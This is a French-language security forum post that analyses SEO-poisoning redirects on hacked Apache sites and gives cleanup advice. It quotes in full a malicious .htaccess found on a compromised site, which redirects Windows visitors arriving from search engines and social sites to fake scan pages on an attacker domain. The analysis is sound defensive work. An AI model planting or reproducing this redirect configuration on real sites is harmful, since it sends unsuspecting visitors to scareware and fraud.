Le principe de direction s'appuie sur les fichiers htaccess des serveurs Apache, principe pas nouveau puisqu'on en parlait déjà fin 2008 sur ce topic : http://forum.malekal.com/popup-erreurch ... ml#p112348
Le principe...
Si le prend ce site WEB tutorialpod.u7n.org, tout va bien dans le meilleur des mondes puisqu'un coup de wget sur l'adresse du site nous permet de récupérer le fichier index.html, ce qui fait votre navigateur WEB quand vous consulter ce site à la différence qu'il affiche le contenu du fichier html sous forme d'une page WEB.

et pourtant ce site provoque des redirections Google comme le montre la capture ci-dessous en 1/, la même commande wget avec le paramètre --referer http://www.google.fr qui ajoute google en referer donne la même chose.
Par contre si on ajoute un useragent (paramètre -U), on voit très clarement un HTTP 302 moved qui provoque une redirection vers un site wwww.causeof.org qui ouvre de fausses pages d'alertes.
Le UserAgent donne la version du navigateur WEB utilisé, les redirections auront donc lieu qu'avec certains navigateurs WEB.

Un petit coup de CURL sur le htaccess du site montre que l'ordre du moved est donné par le .htaccess

Le but est clair, les personnes qui vont entrer sur le site par leurs favoris ou en saisissant l'adresse du site WEB n'auront aucun problème.
Les personnes qui arriveront sur le site par des recherches Google seront redirigées vers la fausse page de scan.
C'est donc une autre manière de participer au SEO empoisonnement : redirections recherches Google.
L'aspect psychologique n'est pas le même car les personnes qui connaissent ce site (utilisant les favoris) pourront se douter que le scan est faux alors que l'effet sur une personne qui clic sur le lien via un moteur de recherches et tombe sur fausse page de scan est différent.
Voici le contenu d'un .htaccess utilisé pour effectuer ces redirections (source : http://www.commentcamarche.net/forum/af ... l-de-troie ).
Code : Tout sélectionner
ErrorDocument 500 http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=0
ErrorDocument 502 http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=2
ErrorDocument 403 http://ns1.asmartmovehi.com/main.php?i=JciqitAZo/iljBj+XsRDy5EZ&e=3
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*odnoklassniki.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*vkontakte.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*tube.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*blogger.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*baidu.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*qq\.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*myspace.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*twitter.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*facebook.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*amazon.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ebay.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*linkedin.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*flickr.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*livejasmin.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*soso.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*doubleclick.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*pornhub.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*orkut.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*livejournal.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*wordpress.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*hotbot.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*goto.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*infoseek.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mamma.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*lycos.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mail.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*$ [NC]
RewriteCond %{HTTP_USER_AGENT} .*Windows.*
RewriteRule .* http://ns1.asmartmovehi.com/main.php?e=r&h=%{HTTP_HOST}&i=JciqitAZo/iljBj+XsRDy5EZ [R,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png$
RewriteCond %{HTTP_USER_AGENT} .*Windows.*
RewriteRule .* http://ns1.asmartmovehi.com/main.php?e=4&h=%{HTTP_HOST}&i=JciqitAZo/iljBj+XsRDy5EZ [R,L]
La directive RewriteCond permet d'utiliser des conditions, le rewrite a lieu seulement si ces conditions sont remplies ; ici on voit que les conditions sont remplies si des noms spécifiques sont contenus dans le referer (%{HTTP_REFERER} ) ainsi que des conditons sur le useragent %{HTTP_USER_AGENT} (à savoir un navigateur Windows).
Pour plus d'informations : http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html
Nettoyage et source du hack
Pour le nettoyage, il faut bien entendu effectuer les manipulations générales telles ques :
- Vérifier l'intégrité du site (il est recommandé de repartir sur une sauvegarde saine).
- Changer les mots de passe
- Vérifier la source du hack (CMS pas à jour etc).
Il est aussi possible que de nombreux sous-répertoires avec des fichiers html aient été créés afin d'être référénces par les moteurs de recherches et d'augmenter le nombre de mots clefs et donc au final les chances d'attérir sur votre site et rediriger les internautes.
Ces hacks ont souvent sur des vulnérabilités 0-day ou récentes sur des CMS à jour.
Si l'on prend le cas du topic donné plus haut : http://www.commentcamarche.net/forum/af ... l-de-troie
Le site utilisé le CMS nukeland qui avait publié une mise à jour de vulnérabilité le 13 mai 2010, le post date du 16..
Pensez à vous inscrire sur les mailling list de news de sécurité de votre CMS afin de vous tenir au courant!
Conclusion
La démocratisation des sites WEB pour le grand public est une aubaine pour les auteurs de malwares pour hacker facilement des sites WEB dont les administrateurs en herbe ne connaissent pas le B.A.B.A
Si vous êtes webmaster d'un site WEB, il est conseillé d'appliquer le minimum de règles de sécurité (comme on doit le faire pour son PC), je vous conseille de lire le topic : Sécuriser un serveur Apache/PHP/MySQL (LAMP) et l'index pour sécuriser son site WEB